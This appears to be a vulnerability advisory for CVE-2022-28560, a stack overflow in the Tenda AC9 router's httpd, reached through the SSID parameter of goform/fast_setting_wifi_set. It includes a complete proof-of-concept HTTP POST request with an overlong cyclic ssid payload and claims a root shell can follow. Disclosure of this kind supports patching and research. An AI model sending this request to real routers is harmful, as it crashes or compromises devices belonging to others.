Headline
CVE-2022-28560: -Router-vulnerability/Tenda AC9 at main · iot-firmeware/-Router-vulnerability
There is a stack overflow vulnerability in the goform/fast_setting_wifi_set function in the httpd service of Tenda ac9 15.03.2.21_cn router. An attacker can obtain a stable shell through a carefully constructed payload
Tenda AC9 router has a stack overflow vulnerability****Firmware address
Tenda official website：https://www.tenda.com.cn/default.html
About Tenda：https://www.tenda.com.cn/profile/contact.html
Firmware Download：https://www.tenda.com.cn/download/
Impact version
The latest version is shown in the figure
Vulnerability details
The program passes the content obtained by SSID parameter to SRC, and then copies SRC into S’s stack through strcpy function. There is no size check, so there is a stack overflow vulnerability.
Vulnerability recurrence and POC
To reproduce the vulnerability, follow these steps：
1.Use fat to simulate firmware V15 03.2.21_ cn
2.Attack with the following POC attacks
POST /goform/fast_setting_wifi_set HTTP/1.1
Host: 192.168.11.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1131
Origin: http://192.168.11.1
Connection: close
Referer: http://192.168.11.1/parental_control.html?random=0.16095210121969683&
Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcetv1qw
ssid=9c%3Afc%3Ae8%3A1a%3A33%3A80aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
The picture shows the effect of POC attack
Finally, you can write exp, which can achieve a very stable effect of getting the root shell
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